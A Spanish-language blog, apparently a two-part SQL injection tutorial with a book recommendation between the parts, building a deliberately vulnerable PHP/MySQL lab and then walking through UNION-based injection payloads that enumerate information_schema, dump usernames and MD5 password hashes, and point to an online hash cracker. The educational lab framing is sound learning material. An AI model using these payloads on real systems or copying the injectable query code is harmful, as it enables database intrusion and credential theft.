SELECT column_name FROM information_schema.columns WHERE table_schema = 'nombre_db' AND table_name = 'nombre_tabla';
Ahora como aplicamos todo este floro a nuestra web vulnerable, pues fácil simplemente agregamos las consultas anteriores luego de la clausula "UNION", sin embargo el exito que tengamos depende del análisis que demos al comportamiento del sitio web ejemplo:
Que pasaría si tratamos de volcar los nombres de todas las BD del sistema haríamos algo así:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata
nosotros esperamos todos los datos tal y como lo hace la consulta sin embargo comportamiento de la web nos dirige a la pagina principal, entonces en estos caso necesitamos analizar el comportamiento de nuestro objetivo, estos comportamientos ocurren debido a que las aplicaciones limitan o solo muestran en pantalla un numero determinados de resultados si vemos el código php de nuestro ejemplo verificamos que se limita a recibir un solo campo y si el resultado es distinto redigira al inicio veamos:
if (count($datos) != 1) {
header("Location:sqli.php");
}else {
echo $datos[0]["titulo"];
echo "<br/>";
echo $datos[0]["texto"];
}
Entonces también tenemos que limitar el resultado de la consulta al numero de filas obtenidas esto lo logramos añadiendo la clausula LIMIT la consulta quedaría:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+0,1
casi siempre en primer datos es information_schema ahora debemos cambiar LIMIT 0,1 por [1,1] [1,2]..
en este caso es importan conocer cuantas bases de datos tiene el sistema esto lo logramos haciendo:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,COUNT(schema_name),3+FROM+information_schema.schemata
En mi caso tengo 4 Bases de datos entonces mis consultas serian:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+2,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+3,1
Yo usare la Base de Datos "datos" para este ejemplo en cual creamos en la PARTE 1.
Ahora para obtener las tablas y las columnas utilizamos la misma lógica primero identificamos el numero de tablas que contiene la base de datos y luego mostramos con LIMIT cada tabla:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,COUNT(table_name),3+FROM information_schema.tables+WHERE+table_schema =+'datos'
En nuestro caso nos devuelve 1 es decir una sola tabla así que vasta con hacer un LIMIT 0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,table_name,3+FROM information_schema.tables+WHERE+table_schema =+'datos'+LIMIT+0,1
Ya tenemos la Base de datos "datos" y la tabla "usuarios" solo nos falta saber que campor importantes contiene para poder volcar sus datos;
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,COUNT(column_name),3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'
En este caso existen 4 campos ahora los listamos para saber cuales son los importantes:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+2,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+3,1
obtenemos los campo "id","user","nombre","password", a nosotros nos tienta "user" y "password" asi que ahora que tenemos la BD "datos", la table "usuarios" y los campos "user" y "password" ahora solo consultamos:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,COUNT(user),3+FROM+datos.usuarios
obtenemos 3 resultados es decir 3 usuarios validos ahora haremos lo siguiente:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+2,1
Ya obtuvimos los resultados:
neotrons - 2109273d6457e96abbe8fb88bf62c074
fucken - 5f4dcc3b5aa765d61d8327deb882cf99
yao - e636319c2b0bb71c27d8766631edbe7f

Muchas beses las contraseñas se encuentran editadas por alguna función denominada de solo ida es decir que no existe un algoritmo para encontrar la clave original a partir del resultado ta es las claves generadas con la función md5() pero existen aplicaciones con valores pre calculados en la cual poder obtener el resultado un sitio online gratuito muy conocido es http://www.md5decrypter.co.uk/
y así dependiendo de la complejidad de la clave demorara un tiempo determinado.

Programación Web Segura – Hackeando tu aplicación [Libro Recomendado]



hola a todos o a nadie depende si me leen o no xD aunque al parecer no mucho, bueno es esta entrada me enfocare en compartir un buen libro titulado Programación Web Segura – Hackeando tu aplicación escrito por Luis Parravicini, la verda que este libro me a inspirado y me a echo recordar a aquellos tiempos en que comense con la seguridad web en la cual muchas beses no se encuentra contendido de calidad en la red y si existe el nivel técnico es demasiado elevado mucha teoría tal como protocolos y eso y poca practica, hace un par de meses digamos ya 6 y algo mas llegue a conocer este libro por la pagina de sec-track como creo que también a ustedes el titulo tan llamativo que los a llevado a leer esta entrada hizo picar el bicho de la curiosidad de querer leerlo bueno yo opte por comprarlo y no me arrepiento de esa pequeña inversión solo $5.99 creo que hice una buena compra
Detallando el porque recomiendo este libro primero porque esta escrito en un lenguaje sencillo fácil de entender sin tanto tecnicismo pero a su vez sin perder la profundidad con la cual llegas a entender realmente lo que se explica, el libro se enfoca principalmente en las buenas practicas al momento de programar dando una visión general indistintamente del lenguaje de programación que se utilice , se enfoca también en la etapa de testing de seguridad de la aplicación, cuenta con un entorno de pruebas escrita en php y sqLite también describe una sección de tools recomendadas para los procesos de testing en general este libro explica de manera sencilla los problemas de seguridad más comunes en las aplicaciones web y sus posibles soluciones llegando a explicar de forma clara los posesos necesarios para poder llegar a lograrlo.
Es mas esta vez e comenzado a darle una segunda lectura ya que estoy comenzando un proyecto para programación seguro y bueno e decidido compartir alguno avances o cosas interesantes que pueda recopilar de este texto.
Para aquellos que lo desean adquirir pueden entrar al sitio web oficial donde se presenta las distintos formatos yo por mi parte opte por la versión en formato epub la cual compre desde LULU que tan solo tuve una inversión mínima de $5.99, aquí dejo el indice de los temas presentado en este fantástico texto.

Introducción
Organización del libro
Aplicación de ejemplo
HTTP
Pedidos/Respuestas
Cookies
Refer
Analizar tráfico
Firebug
TamperIE
WebKit Web Inspector
WebScarab
Fiddler
Wireshark
Proxies HTTP
Fugas de información
Páginas de error
Comentarios
Validaciones
XSS
CSRF
Inyección SQL
Inyección básica
Ejecutar múltiples sentencias
Ataques de segundo orden
Inyección a ciegas
Soluciones
Escapar parámetros
Prepared Statements
ORM
Permisos
Detección automática
Autenticación
Almacenando contraseñas
Criptografía
Casos prácticos
Texto plano
Funciones de hash
Openid
Uso de frameworks
Conclusiones

Les recomiendo que puedan comprar este libro y que disfruten de su contenido tanto como yo y podamos compartir algunas cosas que podamos rescatar del texto.

By Neotrons

Fuente:
http://ktulu.com.ar/books/seguridad-web/
http://www.sec-track.com/category/ebooks

domingo, 15 de enero de 2012

Volcando datos al explotar un SQLi - Parte I

hace ya un buen tiempo que no publico a si  que aprovechando el silencio de la noche y un par de técnicas que me pidió un brother para explotar sqli e optado por explicar como volcar datos, manipulando o consultando de manera adecuada la BD information_schema propia del Mysql.
Para poder entender esta primera parte simularemos un entorno donde existe una vulnerabilidad SQLi de tipo Inbound es decir tendremos acceso a la información con procedimiento de listados, para ello e creado una aplicación php con mysql vulnerable la que llamare sqli.php el cual comparto el código ojo esta no es una clase de PHP así que no usen este código para algún proyecto (jajaj serias monce)
1.Para armar el LAB primero vamos a copiar este código que es nuestra pagina vulnerable ustedes deben de remplazar "password" por la contraseña asignada al mysql

<?php
//nunca lo usen en una web XD
class Conexion
{
     public static function con() {
    
    $conexion = mysql_connect("localhost","root","password");
    mysql_query("SET NAMES 'utf8'");
    return $conexion;
    }

    public function mostrar($id) {
    $mostrar = array();
    $sql = "select id, titulo, texto from sqli.novedades where id = $id";
    $consulta = mysql_query($sql,Conexion::con());
    if(!$consulta) {
    $x=mysql_error();
    die("Ocurrio un error en la conexion a la base de datos");
 }else {

    while ($vol = mysql_fetch_assoc($consulta)) {
  $mostrar[] = $vol;
  }
    
    return $mostrar;
         }
    }
}
?>
<html>
<head></head>
<body bgcolor="#FAFAFA">
<?php
if(isset($_GET["fileid"]))
{
$fileid = $_GET["fileid"];
$volcar = new Conexion;
$datos = $volcar->mostrar($fileid);
if (count($datos) != 1) {
header("Location:sqli.php");
}else {
echo $datos[0]["titulo"];
echo "<br/>";
echo $datos[0]["texto"];
}
?>
</body>
</html>
<?php
}else {
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<head></head>
<body bgcolor="#FAFAFA">
Tema 1leer
<br/>
Tema 2leer
<br/>
Tema 3leer
</body>
</html>
<?php
}
?>

2. Vamos a crear dos bases de datos 1 que va a interactuar con la web y otra la cual vamos a volcar sus datos estas son "sqli" y "datos"
a. SQLI
CREATE DATABASE sqli;

CREATE TABLE IF NOT EXISTS `novedades` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `titulo` varchar(250) COLLATE utf8_general_ci NOT NULL,
  `texto` text COLLATE utf8_spanish_ci NOT NULL,
  `escritor` varchar(250) COLLATE utf8_spanish_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_spanish_ci;

INSERT INTO `novedades` (`id`, `titulo`, `texto`, `escritor`) VALUES
(1, 'SQL injection', 'Inyección de código sql es un método muy utilizado que aprovecha una mala validación en los datos de entrada permitiendo a un atacante manipular la consulta sql y llegar a obtener información sensible bla bla ', 'neotrons'),
(2, 'Cross-site Scripting (XSS)', 'es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar código JavaScript en páginas web vistas por el usuario, evitando medidas de control como la Política del mismo origen.', 'wikipedia'),
(3, 'OWASP', 'es una comunidad abierta y libre de nivel mundial enfocada en mejorara la seguridad en las aplicaciones de software. ', 'owasp');


b. DATOS
CREATE DATABASE datos;

CREATE TABLE IF NOT EXISTS `usuarios` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `user` varchar(25) NOT NULL,
  `nombre` varchar(250) NOT NULL,
  `password` varchar(250) NOT NULL,
  PRIMARY KEY (`id`)
);

INSERT INTO `usuarios` (`id`, `user`, `nombre`, `password`) VALUES
(1, 'neotrons', 'abcdef ghijkl', '2109273d6457e96abbe8fb88bf62c074'),
(2, 'fucken', 'fuckencio fucken', '5f4dcc3b5aa765d61d8327deb882cf99'),
(3, 'yao', 'yao ming', 'e636319c2b0bb71c27d8766631edbe7f');

Ya teniendo nuestra web vulnerable vamos a proceder a explicar un metodo utilizado para volcar información para ello realizaremos consultas a la base de datos "information_schema" esta base de datos proporciona acceso a los metadatos de la base de datos. definiendo metadatos como un diccionario o catalogo del sistema es decir almacena información de todos los elementos existentes en mysql , tales como el nombre de la base de datos o tabla, el tipo de datos de una columna, etc...
Lo primero a tener en cuenta es que para utilizar este método debemos de asegurarnos que exista esta DB esto lo hacemos verificando siempre que la versión del mysql sea la 5.0.2. para mayor información sobre "information_schema" puede revisar http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

Ahora si basta de floro y comenzamos a explicar de -1 como explotar un sql injection y volcar datos, en esta entrada vamos a identificar la vulnerabilidad y veremos como explotarla.
1. Identificando la SQLi:
Veamos un sqli normalmente se presenta cuando un valor de entrada no es validado correctamente en este caso la variable es pasada mediante GET esta variable se llama "fileid" y recibe valores enteros el cual podría ser el PK de la tabla la cual contiene los datos mostrados para identificar si existe un sql debemos saber si eel valor pasado por fileid no es validado esto podemos hacerlo con algo asi:
http://localhost?fileid=1+and+1=1#
http://localhost?fileid=1+and+1=0#
en estas dos entradas que debería presentar comportamientos opuesto ya que uno tendría un valor de vedad y el otro un false.
como vemos la condición verdadera me llevo a la novedad 1 mientras que la falsa me llevo a la pagina de selección ahora corroboramos este resultado forzando a mostrar un error de conexión en la aplicación
http://localhot?fileid=1'
como vemos los errores en consulta muestras un mensaje "Ocurrió un error en la conexión a la base de datos" por lo cual podríamos tener la certeza que no se están validando los campos de entrada.

2. Buscando volcar información:
antes de poder volcar información sensible debemos de saber si la web permite este comportamiento, para poder demostrar esto se acostumbra a usar la clausula UNION, esta clausula se usa para combinar el resultado de un número de comandos SELECT en un conjunto de resultados. es decir su hacemos un UNION SELECT seremos capas de combinar la consulta que muestra la novedades con una nueva consulta que queramos mostrar, pero existe una restricción importante es que debemos de conocer el numero de campos mostrar en la consulta principal es decir si imaginamos que la consulta principal es:
SELECT titulo, detalle, loquesea FROM table
observamos que la consulta utiliza o selecciona 3 campos "titulo, detalle, loquesea" si queremos mostrar información adicional basándonos en esa consulta haríamos algo así
SELECT titulo, detalle, loquesea FROM table UNION SELECT 1,2,3
esto mostrara 1 en lugar de titulo, 2 en lugar de detalle, etc..
por lo tanto es importante conocer el numero de campos usados por la aplicación web para la consulta, esto lo solucionamos usando ORDER BY entonces como nos sirve esta clausula, creo que todos conocemos la utliidad de order by en una consulta sirve principalmente para ordenar una consulta de acuerdo al campo indicado por ejemplo:
SELECT titulo, detalle, loquesea FROM table ORDER BY titulo 
este mostrara los datos pero ordenados en orden alfabético ascendente basado en el campo titulo, lo que quizás muchos no conozcan es que en ORDER BY también se le puede pasar en valor de la posición que ocupa en campo en la consulta entonces para el ejemplo anterior seria algo así:
SELECT titulo, detalle, loquesea FROM table ORDER BY 2
esto al igual que la consulta anterior volcara el mismo resultado, pero que pasaría si pasamos un valor cuya posición no exista es decir en valor 100
SELECT titulo, detalle, loquesea FROM table ORDER BY 100
lo que ocurriría en un error ya que la mysql no es capas de identificar dicho campo asignado a esa posición entonces creo que ya se dan cuneta para la consulta que venimos haciendo el valor máximo para ordenar seria 3 si seleccionamos algo mas nos dará un error ahora como llevaríamos este ejemplo a nuestra web vulnerable:
http://localhost/sqli.php?fileid=1+order+by+1
http://localhost/sqli.php?fileid=1+order+by+100

como observamos para un valor valido nos muestra los texto mientras que para un dato no valido nos lanza un error.

entonces como podemos encontrar exactamente en numero de campos que intervienen en la consulta principal, para esto se hace uso de una técnica que puede reducir en numero de veces que probemos un valor para esto usamos la búsqueda binaria; haber les explico en la practica, primero necesitamos ponernos un mínimo que normalmente es 1 y un valor máximo posible de preferencia impar por ejemplo yo usare 9 por tanto probaremos con todos los elementos que se encuentran en ese intervalo
[1,9]
para hacerlo mas simple solo probaremos con en mínimo y el máximo luego de ellos crearemos un dos intervalos usando algo como (min + max)/2 lo explico mejor.
primero probamos con 1 y 9
http://localhost/sqli.php?fileid=1+order+by+1
http://localhost/sqli.php?fileid=1+order+by+9
para nuestro ejemplo 1 es correcto así que nos muestra los textos concernientes a la entrada 1 y el nueve nos muestra un error esto quiere decir que se están usando en la consulta menos de 9 valores pero mas de 1 por tanto creamos 2 nuevo intervalos
[1,5> y [5,9>
entonces probamos con 5
http://localhost/sqli.php?fileid=1+order+by+5
en este caso también nos muestra un error por lo que aseguramos que se tratan de menos de 5 campos utilizados por lo tanto descartamos en intervalo de [5,9 y solo nos enfocamos en [1,5>
ahora tendremos:
[1,3> y [3,5>
http://localhost/sqli.php?fileid=1+order+by+3
este valor nos es correcto por tanto decimos que pueden ser mayores o iguales a tres pero menores que 5 por ultimo probamos con 4 lo cual nos da un error por tanto llegamos a la conclusión que en la consulta de la web intervienen 3 campos en esa consulta.
teniendo la certeza que son 3 valores ya podemos usar UNION SELECT e identificar si se es capas de mostrar datos para ello hacemos algo como:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,2,3
lo que hacemos en la petición anterior es hacer falsa la primera consulta y mostrar unicamente los valores 1,2,3 lo cual observamos que 2 se muestra en el campo titulo y 3 en el detalle, notemos que no muestra en campo uno que podría ser usado para alguna labor interna de aplicación o quizás solo fue llamada y ya. Bien ahora solo nos queda ver si la versión del mysql sea 5.0.2 o mayor para poder saber esto podríamos usar alguna función de información de mysql tal como VERSION() que retorna una cadena que indica la versión del servidor MySQL otra que nos podría servir para obtener mas información es USER(), DATABASE() si quieres conocer otras puedes entrar a http://dev.mysql.com/doc/refman/5.0/es/information-functions.html
entonces podríamos hacer lo siguiente:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,VERSION(),USER()
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,DATABASE(),3


entonces en mi caso pude extraer estos datos usa la versión 5.1.58 le usuario es root (esta muerto) y la base de Datos se llama sqli
ahora ya tenemos la certeza que existe una BD information_schema la cual podemos consultar, al parecer esta entrada se hizo un poco larga a si que haré dos partes en la próxima entrada sera como consultar directamente a information_schema

By Neotrons